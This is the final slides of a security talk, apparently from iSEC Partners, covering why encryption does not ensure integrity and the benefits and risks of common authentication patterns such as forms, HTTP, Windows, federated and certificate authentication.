The Big Lesson

Integrity != Privacy

111

The Details
Encryption provides privacy of data
HMAC or Digital Signatures provide for its integrity

It is EXTREMELY common to encrypt data that is

intended to be protected for tampering


This causes major failures

112

Examples of Failure
Stream ciphertext bit flipping
CBC IV/Block bitflipping

Padding Oracle
Block reordering

113

In short
Hash or sign data you want to protect from

tampering
Encrypt data you want to keep people from knowing
Encrypt, then sign the ciphertext, if you need both

114

Authentication Patterns

Patterns
Forms-based authentication
Integrated HTTP Authentication

Integrated Windows Authentication


Federated/Claims-based Authentication

116

Forms Based Authentication


Most common on web
User and password are in fields
Evaluated against database, impersonation, etc.

Benefits
Simple, ubiquitous
Flexible

Risks
Passwords Leak!

117

Integrated HTTP Authentication


Bind authentication context to TCP session
Basic
Digest

Benefits
Session cookie may not be required
Can eliminate direct password use

Risks
Most options provide little or no protection to the

password
Not tied to outer SSL channel
118

Integrated Windows Authentication


Like HTTP auth, but with a Windows twist
NTLM, Kerberos added to options
Works seamlessly with interactive logon

Benefits
Simple, distributed authentication for Windows clients

and servers
Risks
Transparent authentication without binding is

dangerous!
119

Federated Identity
Hook multiple domains of authentication together
Technology varies
Key concern: trusted counterparty vouches for

credentials and abilities of a user


Benefits
No more remembering passwords!
Administrative simplicity

Risks
Unconstrained claims

Inconsistent transport-level protections


120

Certificate Authentication
An optional exchange in SSL/TLS that provides client

identity
Server maps certificate details to known principal
TCP socket mapped to principal for duration

Benefits
No need for session cookie
Guaranteed to be bound to a secure channel

Risks
Can be expensive/painful to manage
Potential for leaking private details in certificate
121

Thank You!
scott@isecpartners.com

122

Das könnte Ihnen auch gefallen